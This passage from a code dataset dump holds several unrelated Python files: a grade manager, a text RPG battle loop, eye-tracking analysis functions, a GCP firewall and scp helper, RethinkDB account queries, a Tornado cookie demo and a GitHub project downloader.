int(input(\"Ubah Nilai Tugas : \"))\n elif ubah.lower() == \"uts\":\n data[nama]['uts'] = int(input(\"Ubah Nilai UTS : \"))\n elif ubah.lower() == \"uas\":\n data[nama]['uas'] = int(input(\"Ubah Nilai UAS : \"))\n\n else:\n print(\"'{}' Tidak Ditemukan\".format(nama))\n print(data)\ndef hapus_data():\n nama = input(\"Masukan nama untuk menghapus data : \")\n if nama in data.keys():\n del data[nama]\n print(\"Data '{}' dihapus\".format(nama))\n return True\n else:\n print(\"'{}' Tidak Ditemukan\".format(nama))\n return False\ndef cari_data():\n print(\"Mencari Daftar Nilai : \")\n print(\"=======================\")\n nama = input(\"Masukan nama untuk mencari daftar nilai : \")\n if nama in data.keys():\n print(\"Nama {0}, dengan NIM : {1}\\n\"\n \"Nilai Tugas: {2}, UTS: {3}, dan UAS: {4}\\n\"\n \"dan nilai akhir {5}\".format(nama, d['nim'],\n d['tugas'], d['uts'],\n d['uas'], d['akhir']))","sub_path":"model/daftar_nilai.py","file_name":"daftar_nilai.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"65033736","text":"import random\n\nfrom classes.game import Person, bcolors\nfrom classes.magic import Spell\nfrom classes.inventory import Item\n\n\n# black magic\nfire=Spell(\"Fire\", 10, 500, \"black\")\nthunder=Spell(\"Thunder\", 12, 580, \"black\")\nblizzard=Spell(\"Blizzard\", 14, 640, \"black\")\nmeteor=Spell(\"Meteor\", 16, 720, \"black\")\nblake=Spell(\"Blake\", 18, 800, \"black\")\n\n# white magic\ncure = Spell(\"Cure\", 12, 620, \"white\")\ncura = Spell(\"Cura\", 16, 1500, \"white\")\n\nplayer_magic = [fire,thunder,blizzard,meteor,blake,cure,cura]\n\n\npotion = Item(\"Potion\", \"potion\", \"Heals 50 HP\", 50)\nhipotion = Item(\"Hi-Potion\", \"potion\", \"Heals 100 HP\", 100)\nsuperpotion = Item(\"Super Potion\", \"potion\", \"Heals 500 HP\", 500)\nelixir = Item(\"Elixir\", \"elixer\", \"Fullly restores HP on one member\", 99999)\nhielixir = Item(\"MegaElixir\", \"elixer\", \"Fullly restores HP for all\", 99999)\n\ngrenade = Item(\"Grenade\", \"attack\", \"Deals 500 damage\", 500)\n\nplayer1_items =[{\"item\": potion, \"quantity\": 5},{\"item\": hipotion, \"quantity\": 3},\n {\"item\": superpotion, \"quantity\": 1},{\"item\": elixir, \"quantity\": 3},\n {\"item\": hielixir, \"quantity\": 1},{\"item\": grenade, \"quantity\": 3}]\nplayer2_items =[{\"item\": potion, \"quantity\": 5},{\"item\": hipotion, \"quantity\": 3},\n {\"item\": superpotion, \"quantity\": 1},{\"item\": elixir, \"quantity\": 3},\n {\"item\": hielixir, \"quantity\": 1},{\"item\": grenade, \"quantity\": 3}]\nplayer3_items =[{\"item\": potion, \"quantity\": 5},{\"item\": hipotion, \"quantity\": 3},\n {\"item\": superpotion, \"quantity\": 1},{\"item\": elixir, \"quantity\": 3},\n {\"item\": hielixir, \"quantity\": 1},{\"item\": grenade, \"quantity\": 3}]\n\n#instantiate people\nplayer1 = Person(\"Valos\",3260, 132, 300, 34, player_magic, player1_items)\nplayer2 = Person(\"Nick \",4160, 176, 310, 34, player_magic, player2_items)\nplayer3 = Person(\"Robot\",3940, 168, 290, 34, player_magic, player3_items)\n\nenemy1 = Person(\"Magus\",17500, 130, 285, 25, player_magic, [])\nenemy2 = Person(\"Imper\",11200, 100, 340, 25, player_magic, [])\nenemy3 = Person(\"Impro\",11200, 100, 340, 25, player_magic, [])\n\nplayers = [player1,player2,player3]\nenemies = [enemy1,enemy2,enemy3]\n\nrunning = True\ni=0\n\nwhile running:\n print(\"===================================\")\n\n print(\"\\n\\n\")\n print(\"NAME HP MP\")\n for player in players:\n player.get_stats()\n\n for enemy in enemies:\n enemy.get_enemy_stats()\n print(\"\\n\\n\")\n\n\n for player in players:\n\n player.choose_action()\n choice = input(\"Choose action: \")\n index = int(choice)-1\n\n if index == 0:\n dmg = player.generate_damage()\n enemy = player.choose_target(enemies)\n enemies[enemy].take_damage(dmg)\n print(\"you attacked\", enemies[enemy].name, \"for \", dmg )\n\n if enemies[enemy].get_hp() == 0:\n print(bcolors.OKGREEN + enemies[enemy].name + \" had died.\" + bcolors.ENDC)\n del enemies[enemy]\n\n elif index==1:\n player.choose_magic()\n magic_choice = int(input(\"Choose magic: \")) - 1\n\n if magic_choice < -1 or magic_choice >= len(player.magic):\n continue\n\n spell = player.magic[magic_choice]\n magic_dmg = spell.generate_spell_damage()\n\n current_mp = player.get_mp()\n\n if spell.cost > current_mp:\n print(bcolors.FAIL + \"\\nNot Enough Magic Points to do this Magic\" + bcolors.ENDC)\n continue\n\n player.reduce_mp(spell.cost)\n if spell.type == \"black\":\n enemy = player.choose_target(enemies)\n enemies[enemy].take_damage(magic_dmg)\n\n print(bcolors.OKBLUE + \"\\n\" + spell.name + \" deals\", str(magic_dmg),\n \"points of damage to \" + enemies[enemy].name + bcolors.ENDC + \"\\n\")\n\n if enemies[enemy].get_hp() == 0:\n print(bcolors.OKGREEN + enemies[enemy].name + \" had died.\" + bcolors.ENDC)\n del enemies[enemy]\n\n elif spell.type == \"white\":\n player.heal(magic_dmg)\n\n print(bcolors.OKBLUE + \"\\n\" + spell.name + \" heals\", str(magic_dmg),\n \"points of HP \" + bcolors.ENDC + \"\\n\")\n\n\n elif index == 2:\n\n player.choose_item()\n\n item_choice = int(input(\"choose Item: \"))-1\n\n if item_choice < -1 or item_choice >= len(player.items):\n continue\n\n item = player.items[item_choice][\"item\"]\n\n if player.items[item_choice][\"quantity\"] > 0:\n\n if item.type == \"potion\":\n player.heal(item.prop)\n print(bcolors.OKGREEN + \"\\n\" + item.name + \" heals for \" + str(item.prop) + bcolors.ENDC)\n\n elif item.type == \"elixer\":\n if item.name == \"Elixir\":\n player.hp = player.max_hp\n player.mp = player.max_mp\n\n print(bcolors.OKGREEN + \"\\n\" + item.name + \" restored all you\" + bcolors.ENDC)\n\n elif item.name == \"MegaElixir\":\n for target in players:\n target.hp = target.max_hp\n target.mp = target.max_mp\n\n print(bcolors.OKGREEN + \"\\n\" + item.name + \" restored your team.\" + bcolors.ENDC)\n\n elif item.type == \"attack\":\n\n enemy = player.choose_target(enemies)\n enemies[enemy].take_damage(item.prop)\n\n print(bcolors.OKGREEN + \"\\n\" + item.name + \" deals damage of \" + str(item.prop) + \" to \" + enemies[enemy].name + bcolors.ENDC)\n\n if enemies[enemy].get_hp() == 0:\n print(bcolors.OKGREEN + enemies[enemy].name + \" had died.\" + bcolors.ENDC)\n del enemies[enemy]\n\n player.reduce_item(item_choice)\n\n else:\n print(bcolors.FAIL + \"you have no \" +item.name + bcolors.ENDC)\n continue\n\n # check for defeats\n defeated_enemies = 0\n for enemy in enemies:\n if enemy.get_hp() == 0:\n defeated_enemies += 1\n\n if defeated_enemies > 2:\n print(bcolors.OKGREEN + \"you won!\" + bcolors.ENDC)\n running = False\n\n defeated_players = 0\n for player in players:\n if player.get_hp() == 0:\n defeated_players += 1\n\n if defeated_players > 2:\n print(bcolors.FAIL + \"you lost!\" + bcolors.ENDC)\n running = False\n\n\n for enemy in enemies:\n enemy_choice = random.randrange(0,2)\n\n if enemy_choice == 0:\n target = random.randrange(0,len(players))\n enemy_dmg = enemy.generate_damage()\n players[target].take_damage(enemy_dmg)\n print(bcolors.FAIL + enemy.name + \" attacked \" + players[target].name + \" for \" + str(enemy_dmg) + bcolors.ENDC)\n\n elif enemy_choice ==1:\n\n if enemy.get_mp() > 10:\n spell = enemy.choose_enemy_spell()\n\n magic_dmg = spell.generate_spell_damage()\n\n if spell.type == \"black\":\n target = random.randrange(0,len(players))\n players[target].take_damage(magic_dmg)\n\n print(bcolors.FAIL + spell.name + \" of \" + enemy.name + \" deals\", str(magic_dmg),\n \"points of damage to \" + players[target].name + bcolors.ENDC )\n\n if players[target].get_hp() == 0:\n print(bcolors.FAIL + players[target].name + \" had died.\" + bcolors.ENDC)\n del players[target]\n\n elif spell.type == \"white\":\n enemy.heal(magic_dmg)\n\n print(bcolors.WARNING + spell.name + \" heals\", str(magic_dmg),\n \"points of HP of \" + enemy.name + bcolors.ENDC )\n\n\n\n else:\n target = random.randrange(0, len(players))\n enemy_dmg = enemy.generate_damage()\n players[target].take_damage(enemy_dmg)\n print(bcolors.FAIL + enemy.name + \" attacked \" + players[target].name + \" for \" + str(\n enemy_dmg) + bcolors.ENDC)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"127754763","text":"\"\"\"\n\nFunctions for calculating common analysis measures, such as total fixation\nduration or initial landing position.\n\n\"\"\"\n\n\nimport numpy as _np\nfrom .fixation import FixationSequence as _FixationSequence, Fixation as _Fixation\nfrom .text import TextBlock as _TextBlock, InterestArea as _InterestArea\n\n\ndef initial_fixation_duration(interest_areas, fixation_sequence):\n \"\"\"\n\n Given an interest area or collection of interest areas, return the\n duration of the initial fixation on each interest area. Returns a\n dictionary in which the keys are interest area IDs and the values are\n initial fixation durations.\n\n \"\"\"\n if isinstance(interest_areas, _InterestArea):\n interest_areas = [interest_areas]\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n durations = {}\n for interest_area in interest_areas:\n if not isinstance(interest_area, _InterestArea):\n raise TypeError(f\"{str(interest_area)} is not of type InterestArea\")\n durations[interest_area.id] = 0\n for fixation in fixation_sequence.iter_without_discards():\n if fixation in interest_area:\n durations[interest_area.id] = fixation.duration\n break\n return durations\n\n\ndef total_fixation_duration(interest_areas, fixation_sequence):\n \"\"\"\n\n Given an interest area or collection of interest areas, return the total\n fixation duration on each interest area. Returns a dictionary in which the\n keys are interest area IDs and the values are total fixation durations.\n\n \"\"\"\n if isinstance(interest_areas, _InterestArea):\n interest_areas = [interest_areas]\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n durations = {}\n for interest_area in interest_areas:\n if not isinstance(interest_area, _InterestArea):\n raise TypeError(f\"{str(interest_area)} is not of type InterestArea\")\n durations[interest_area.id] = 0\n for fixation in fixation_sequence.iter_without_discards():\n if fixation in interest_area:\n durations[interest_area.id] += fixation.duration\n return durations\n\n\ndef gaze_duration(interest_areas, fixation_sequence):\n \"\"\"\n\n Given an interest area or collection of interest areas, return the gaze\n duration on each interest area. Gaze duration is the sum duration of all\n fixations inside an interest area until the area is exited for the first\n time. Returns a dictionary in which the keys are interest area IDs and the\n values are gaze durations.\n\n \"\"\"\n if isinstance(interest_areas, _InterestArea):\n interest_areas = [interest_areas]\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n durations = {}\n for interest_area in interest_areas:\n if not isinstance(interest_area, _InterestArea):\n raise TypeError(f\"{str(interest_area)} is not of type InterestArea\")\n durations[interest_area.id] = 0\n for fixation in fixation_sequence.iter_without_discards():\n if fixation in interest_area:\n durations[interest_area.id] += fixation.duration\n elif durations[interest_area.id] > 0:\n break # at least one previous fixation was inside the IA and this fixation is not, so break\n return durations\n\n\ndef initial_landing_position(interest_areas, fixation_sequence):\n \"\"\"\n\n Given an interest area or collection of interest areas, return the initial\n landing position (expressed in character positions) on each interest area.\n Counting is from 1, so a 1 indicates that the fixation landed on the first\n character and so forth. If the interest area represents right-to-left\n text, the first character is the rightmost one. Returns a dictionary in\n which the keys are interest area IDs and the values are initial landing\n positions.\n\n \"\"\"\n if isinstance(interest_areas, _InterestArea):\n interest_areas = [interest_areas]\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n positions = {}\n for interest_area in interest_areas:\n if not isinstance(interest_area, _InterestArea):\n raise TypeError(f\"{str(interest_area)} is not of type InterestArea\")\n positions[interest_area.id] = None\n for fixation in fixation_sequence.iter_without_discards():\n if fixation in interest_area:\n for position, char in enumerate(interest_area, 1):\n if fixation in char:\n positions[interest_area.id] = position\n break\n break\n return positions\n\n\ndef initial_landing_x(interest_areas, fixation_sequence):\n \"\"\"\n\n Given an interest area or collection of interest areas, return the initial\n landing position (expressed in pixel distance from the start of the\n interest area) on each interest area. If the interest area represents\n right-to-left text, the start of the interest area is defined as the right\n edge. Returns a dictionary in which the keys are interest area IDs and the\n values are initial landing positions.\n\n \"\"\"\n if isinstance(interest_areas, _InterestArea):\n interest_areas = [interest_areas]\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n positions = {}\n for interest_area in interest_areas:\n if not isinstance(interest_area, _InterestArea):\n raise TypeError(f\"{str(interest_area)} is not of type InterestArea\")\n positions[interest_area.id] = None\n for fixation in fixation_sequence.iter_without_discards():\n if fixation in interest_area:\n if interest_area.right_to_left:\n positions[interest_area.id] = interest_area.x_br - fixation.x\n else:\n positions[interest_area.id] = fixation.x - interest_area.x_tl\n break\n return positions\n\n\ndef duration_mass(text_block, fixation_sequence, n=1, gamma=30):\n \"\"\"\n\n Given a `eyekit.text.TextBlock` and `eyekit.fixation.FixationSequence`,\n distribute the durations of the fixations probabilistically across the\n `eyekit.text.TextBlock`. Specifically, the duration of fixation *f* is\n distributed over all characters *C* in its line according to the\n probability that the reader is \"seeing\" each character (see\n `p_characters_fixation()`), and this is summed over all fixations:\n\n $$\\\\sum_{f \\\\in F} p(C|f) \\\\cdot f_\\\\mathrm{dur}$$\n\n Returns a 2D Numpy array, the sum of which is equal to the total duration\n of all fixations. This can be passed to `eyekit.vis.Image.draw_text_block_heatmap()`\n for visualization. Duration mass reveals the parts of the text that\n received the most attention. Optionally, this can be performed over\n higher-level ngrams by setting `n` > 1.\n\n \"\"\"\n if not isinstance(text_block, _TextBlock):\n raise TypeError(\"text_block should be of type TextBlock\")\n if not isinstance(fixation_sequence, _FixationSequence):\n raise TypeError(\"fixation_sequence should be of type FixationSequence\")\n shape = text_block.n_rows, text_block.n_cols - (n - 1)\n distribution = _np.zeros(shape, dtype=float)\n for fixation in fixation_sequence.iter_without_discards():\n distribution += (\n p_characters_fixation(text_block, fixation, n=n, gamma=gamma)\n * fixation.duration\n )\n return distribution\n\n\ndef p_characters_fixation(text_block, fixation, n=1, gamma=30):\n \"\"\"\n\n Given a `eyekit.text.TextBlock` and `eyekit.fixation.Fixation`, calculate\n the probability that the reader is \"seeing\" each character in the text. We\n assume that the closer a character is to the fixation point, the greater\n the probability that the participant is \"seeing\" (i.e., processing) that\n character. Specifically, for a given fixation *f*, we compute a Gaussian\n distribution over all characters in the line according to:\n\n $$p(c|f) \\\\propto \\\\mathrm{exp} \\\\frac{ -\\\\mathrm{ED}(f_\\\\mathrm{pos}, c_\\\\mathrm{pos})^2 }{2\\\\gamma^2}$$\n\n where *γ* (`gamma`) is a free parameter controlling the rate at which\n probability decays with the Euclidean distance (ED) between the position\n of fixation *f* and the position of character *c*.\n\n Returns a 2D Numpy array representing a probability distribution over all\n characters, with all its mass confined to the line that the fixation\n occurred inside, and with greater mass closer to fixation points. This\n array can be passed to `eyekit.vis.Image.draw_text_block_heatmap()` for\n visualization. Optionally, this calculation can be performed over\n higher-level ngrams by setting `n` > 1.\n\n \"\"\"\n if not isinstance(fixation, _Fixation):\n raise TypeError(\"fixation should be of type Fixation\")\n line_n = _np.argmin(abs(_np.array(text_block.midlines) - fixation.y))\n shape = text_block.n_rows, text_block.n_cols - (n - 1)\n distribution = _np.zeros(shape, dtype=float)\n fixation_xy = _np.array(fixation.xy, dtype=int)\n two_gamma_squared = 2 * gamma ** 2\n for ngram in text_block.ngrams(n, line_n=line_n):\n ngram_xy = _np.array(ngram.center, dtype=int)\n r, s, e = ngram.id.split(\":\")\n distribution[(int(r), int(s))] = _np.exp(\n -((fixation_xy - ngram_xy) ** 2).sum() / two_gamma_squared\n )\n return distribution / distribution.sum()\n","sub_path":"eyekit/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":9786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"199561443","text":"# Copyright 2018 The Pontem Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Wrapper for Compute API service proxy.\"\"\"\nimport re\nimport subprocess\nimport time\nimport uuid\n\nfrom googleapiclient import errors\nfrom httplib2 import HttpLib2Error\n\n\nimport google.auth\n\nfrom google.cloud.pontem.sql.replicator.util import gcp_api_util\n\nCOMPUTE_SERVICE = 'compute'\nCOMPUTE_SERVICE_VERSION = 'v1'\nALLOW_SSH_FIREWALL_RULE = 'allow_replicator_ssh'\n# RFC 1035 regex (https://www.ietf.org/rfc/rfc1035.txt) for firewall rule names\nRFC1035_REGEX = r'(?:[a-z]([-a-z0-9]*[a-z0-9])?)\\Z'\n# Amount of seconds to wait prior to throwing error\nFIREWALL_RULE_TIMEOUT = 300\nFIREWALL_RULE_INTERVAL = 10\n\n\nclass TimeoutError(Exception):\n \"\"\"Timeout error raised if operation takes too long.\"\"\"\n\n\nclass SCPError(Exception):\n \"\"\"Error raised if there was a problem copying a file with SCP.\"\"\"\n\n\nclass FirewallRule(object):\n \"\"\"Configuration for firewall rule.\"\"\"\n def __init__(self, name=None, description=None):\n \"\"\"Constructor.\n\n Args:\n name (str): Name for firewall rule. Must comply with RFC 1035.\n description (str): Description of firewall rule.\n\n Raises:\n ValueError: Exception if name does not conform to RFC1035.\n \"\"\"\n self.name = name or 'firewall_rule_{}'.format(uuid.uuid4())\n if re.match(RFC1035_REGEX, name) is None:\n raise ValueError('{} does not conform to RFC1035'.format(name))\n self.description = description or 'User defined firewall rule.'\n self.protocol = 'TCP'\n self.is_allowed = True,\n self.ports = None\n self.is_ingress = True\n self.network = None\n\n\ndef build_compute_service(credentials=None):\n \"\"\"Builds an authorized compute service proxy with a custom user agent.\n\n Args:\n credentials (google.auth.Credentials): Credentials to authorize client.\n\n Returns:\n Resource: Authorized compute service proxy with custom user agent.\n \"\"\"\n service = gcp_api_util.build_authorized_service(\n COMPUTE_SERVICE,\n COMPUTE_SERVICE_VERSION,\n credentials\n )\n\n return service\n\n\ndef create_firewall_rule(firewall_rule,\n project=None, credentials=None):\n \"\"\"Creates a firewall rule in a Google Cloud Project.\n\n Args:\n firewall_rule (FirewallRule): Configuration for firewall rule.\n project (str): Project ID where firewall rule will be created.\n credentials (google.auth.Credentials): Credentials to authorize client.\n\n Returns:\n JSON: Response from request.\n \"\"\"\n\n default_credentials, default_project = google.auth.default()\n service = build_compute_service(credentials or default_credentials)\n\n if firewall_rule.ports is None:\n ports = ['3306']\n else:\n ports = firewall_rule.ports\n\n request_body = {\n 'name': firewall_rule.name,\n 'description': firewall_rule.description,\n 'sourceRanges': firewall_rule.source_ip_range,\n 'allowed' if firewall_rule.is_allowed else 'denied': [{\n 'IPProtocol': firewall_rule.protocol,\n 'ports': ports,\n }],\n 'network': firewall_rule.network,\n 'direction': 'INGRESS' if firewall_rule.is_ingress else 'EGRESS',\n }\n\n request = service.firewalls().insert(\n project=project or default_project,\n body=request_body\n )\n response = request.execute()\n\n return response\n\n\ndef is_firewall_rule_active(firewall, project=None, credentials=None):\n \"\"\"Checks if a firewall rule active.\n\n Args:\n firewall (str): The name of the firewall rule.\n project (str): Project ID where firewall rule may be active.\n credentials (google.auth.Credentials): Credentials to authorize client.\n\n Returns:\n bool: True if firewall rule is active, False otherwise.\n \"\"\"\n default_credentials, default_project = google.auth.default()\n service = build_compute_service(credentials or default_credentials)\n try:\n _ = service.firewalls().get(project=project or default_project,\n firewall=firewall)\n\n except (errors.HttpError, HttpLib2Error) as e:\n if isinstance(e, errors.HttpError) and e.resp.status == 404:\n return False\n return True\n\n\ndef enable_ssh(network=None, project=None, credentials=None):\n \"\"\"Enables SSH on the network if rule note enabled.\n\n Args:\n network (str): Network to allow SSH on.\n project (str): Project ID where firewall rule will be activated.\n credentials (google.auth.Credentials): Credentials to authorize client.\n\n Raises:\n TimeoutError: Operation took too long.\n \"\"\"\n if not is_firewall_rule_active(ALLOW_SSH_FIREWALL_RULE,\n project, credentials):\n firewall_rule = FirewallRule(ALLOW_SSH_FIREWALL_RULE,\n description='Allow SSH.')\n firewall_rule.ports = ['22']\n firewall_rule.network = network\n create_firewall_rule(firewall_rule, project, credentials)\n\n start_time = time.time()\n while not is_firewall_rule_active(ALLOW_SSH_FIREWALL_RULE,\n project, credentials):\n elapsed_time = time.time() - start_time\n if elapsed_time > FIREWALL_RULE_TIMEOUT:\n raise TimeoutError(\n 'Creating Allow SSH Firewall Rule took too long.')\n time.sleep(FIREWALL_RULE_INTERVAL)\n return\n\n\ndef get_remote_file(remote_host, remote_file_path, zone, local_dir='.'):\n \"\"\"Copies file from remote GCP host to local directory.\n\n Args:\n remote_host (str): Remote host file exists on.\n remote_file_path (str): File to copy\n zone (str): Zone remote host resides in.\n local_dir (str): Local directory where file will be copied.\n\n Raises:\n SCPError: Something went wrong during the SCP operation.\n \"\"\"\n gcloud = subprocess.Popen(('gcloud',\n 'compute',\n 'scp',\n '{}:{}'.format(remote_host, remote_file_path),\n local_dir, '--zone', zone))\n _, error = gcloud.communicate()\n if error:\n raise SCPError(error.strip())\n return\n\n\ndef write_remote_file(remote_host, remote_dir, zone, local_file_path):\n \"\"\"Copies a local file to a remote host directory.\n\n Args:\n remote_host (str): Remote host file exists on.\n remote_dir (str): Remote directory to copy file to.\n zone (str): Zone remote host resides in.\n local_file_path (str): Local file to be copied.\n\n Raises:\n SCPError: Something went wrong during the SCP operation.\n \"\"\"\n gcloud = subprocess.Popen(('gcloud',\n 'compute',\n 'scp',\n local_file_path,\n '{}:{}'.format(remote_host, remote_dir),\n '--zone', zone))\n _, error = gcloud.communicate()\n if error:\n raise SCPError(error.strip())\n return\n","sub_path":"CloudSQLReplicator/google/cloud/pontem/sql/replicator/util/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":7704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"497004565","text":"# Copyright (c) 2019 Neel Network\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ---------------------------------------------------------------------------\n\nimport rethinkdb as re\nfrom rethinkdb.errors import ReqlNonExistenceError\n\nfrom api.errors import ApiBadRequest\n\nfrom db.common import fetch_holdings\nfrom db.common import fetch_latest_block_num\n\nr = re.RethinkDB()\n\nasync def fetch_all_account_resources(conn):\n return await r.table('accounts')\\\n .filter((fetch_latest_block_num() >= r.row['start_block_num'])\n & (fetch_latest_block_num() < r.row['end_block_num']))\\\n .map(lambda account: account.merge(\n {'publicKey': account['public_key']}))\\\n .map(lambda account: account.merge(\n {'holdings': fetch_holdings(account['holdings'])}))\\\n .map(lambda account: (account['label'] == \"\").branch(\n account.without('label'), account))\\\n .map(lambda account: (account['description'] == \"\").branch(\n account.without('description'), account))\\\n .without('public_key', 'delta_id',\n 'start_block_num', 'end_block_num')\\\n .coerce_to('array').run(conn)\n\n\nasync def fetch_account_resource(conn, public_key, auth_key):\n try:\n return await r.table('accounts')\\\n .get_all(public_key, index='public_key')\\\n .max('start_block_num')\\\n .merge({'publicKey': r.row['public_key']})\\\n .merge({'holdings': fetch_holdings(r.row['holdings'])})\\\n .do(lambda account: (r.expr(auth_key).eq(public_key)).branch(\n account.merge(_fetch_email(public_key)), account))\\\n .do(lambda account: (account['label'] == \"\").branch(\n account.without('label'), account))\\\n .do(lambda account: (account['description'] == \"\").branch(\n account.without('description'), account))\\\n .without('public_key', 'delta_id',\n 'start_block_num', 'end_block_num')\\\n .run(conn)\n except ReqlNonExistenceError:\n raise ApiBadRequest(\n \"No account with the public key {} exists\".format(public_key))\n\n\ndef _fetch_email(public_key):\n return r.table('auth')\\\n .get_all(public_key, index='public_key')\\\n .pluck('email')\\\n .coerce_to('array')[0]\n","sub_path":"rest_api/db/accounts_query.py","file_name":"accounts_query.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"493844276","text":"from tornado.web import RequestHandler\nfrom tornado.web import Application\nimport tornado.ioloop\n\nclass IndexHandler(RequestHandler):\n def get(self, *args, **kwargs):\n if self.get_argument('u', None) in ['alex', 'eric']:\n\n # self.set_cookie(\"name\", self.get_argument('u'))\n self.set_secure_cookie(\"name\", self.get_argument('u'))\n else:\n self.write(\"请登录\")\n\nclass ManagerHandler(RequestHandler):\n def get(self, *args, **kwargs):\n print(self.get_cookie('name'))\n\n if str(self.get_secure_cookie('name', None),encoding='utf-8') in ['alex', 'eric']:\n self.write('欢迎登录: '+ str(self.get_secure_cookie('name', None),encoding='utf-8'))\n else:\n self.redirect(\"/index\")\n\nsettings = {\n \"cookie_secret\": \"asdfasdf\",\n}\n\napplication = Application(\n [\n (r'/index', IndexHandler),\n (r'/manager', ManagerHandler),\n ], **settings\n)\n\nif __name__ == \"__main__\":\n application.listen(8888)\n tornado.ioloop.IOLoop.instance().start()","sub_path":"home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"539466778","text":"import requests, time, re, os, datetime\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Queue\nfrom threading import Thread\n\n\nclass Code_spider(object):\n def __init__(self):\n self.urls_file = 'ProjectUrl_stars.txt' # 存放项目链接的文件\n self.folder = 'F:/PyProject/GetCode_MyStar/projects(stars)/' # 项目存放目录(需修改)\n self.headers = {'User-Agent': 'Mozilla/5.0'}\n self.urlCount = 0\n self.q1 = Queue() # 创建消息队列,存放项目主页的链接\n self.q2 = Queue() # 创建消息队列,存放下载链接和对应项目名\n\n # 根据方法名称启动线程\n def work(self, methode_name):\n L = []\n for i in range(50):\n if methode_name == 'get_DownUrl':\n th = Thread(target=self.get_DownUrl, args=(i + 1,))\n th.start()\n L.append(th)\n elif methode_name == 'down_load':\n th = Thread(target=self.down_load, args=(i + 1,))\n th.start()\n L.append(th)\n else:\n exit('方法名称有误,线程终止')\n for th in L:\n th.join()\n\n # 从文件读取各项目主页链接\n def get_MainUrl(self):\n fp = open(self.urls_file, 'r')\n for url in fp.readlines():\n self.q1.put(url.strip())\n fp.close()\n print(\"本次将爬取\", self.q1.qsize(), \"个下载链接\")\n\n # 多线程循环获取项目主页面上的下载链接\n def get_DownUrl(self, n):\n while True:\n try:\n mainUrl = self.q1.get(block=True, timeout=2).strip()\n except:\n # print('爬取不到链接了,%s号线程结束工作' % n)\n break\n response = requests.get(mainUrl, self.headers)\n content = response.text\n soup = BeautifulSoup(content, \"html.parser\")\n a = soup.find_all('a', class_=re.compile(\"btn btn-outline get-repo-btn\")) # 获取下载zip的链接\n zip_url = ''\n for k in a:\n zip_url = 'https://github.com' + k['href']\n linkAndFilename = []\n linkAndFilename.append(mainUrl.split('/')[-1])\n linkAndFilename.append(zip_url)\n self.q2.put(linkAndFilename)\n self.urlCount += 1\n print('已爬取%s个下载链接\\n' % self.urlCount, end='')\n\n # 多线程循环执行的下载函数\n def down_load(self, n):\n while True:\n try:\n linkAndFilename = self.q2.get(block=True, timeout=2)\n filename = linkAndFilename[0].strip()\n link = linkAndFilename[1]\n except:\n # print('取不到链接了,%s号线程结束工作' % n)\n break\n # 文件的绝对路径\n abs_filename = self.folder + filename + '.zip'\n # 只下载本地不存在或文件大小为0的链接\n if (not os.path.exists(abs_filename)) or os.path.getsize(abs_filename) == 0:\n with open(abs_filename, 'wb') as code:\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \"线程%s开始下载:%s\\n\" % (n, filename),\n end='')\n # 若网络情况的变化导致异常,则3s后重新请求,一直循环,直到访问站点成功\n while True:\n try:\n code.write(requests.get(link, self.headers).content)\n break\n except:\n print('%s号线程网络请求发生异常,尝试重新下载...' % n)\n time.sleep(3)\n self.urlCount -= 1\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \"线程%s完成下载:%s,共剩余%s个项目正在下载\\n\" % (\n n, filename, self.urlCount), end='')\n else:\n self.urlCount -= 1\n print('%s文件已存在,无需下载,共剩余%s个项目正在下载\\n' % (abs_filename, self.urlCount), end='')\n\n\nif __name__ == '__main__':\n start_time = time.time()\n\n 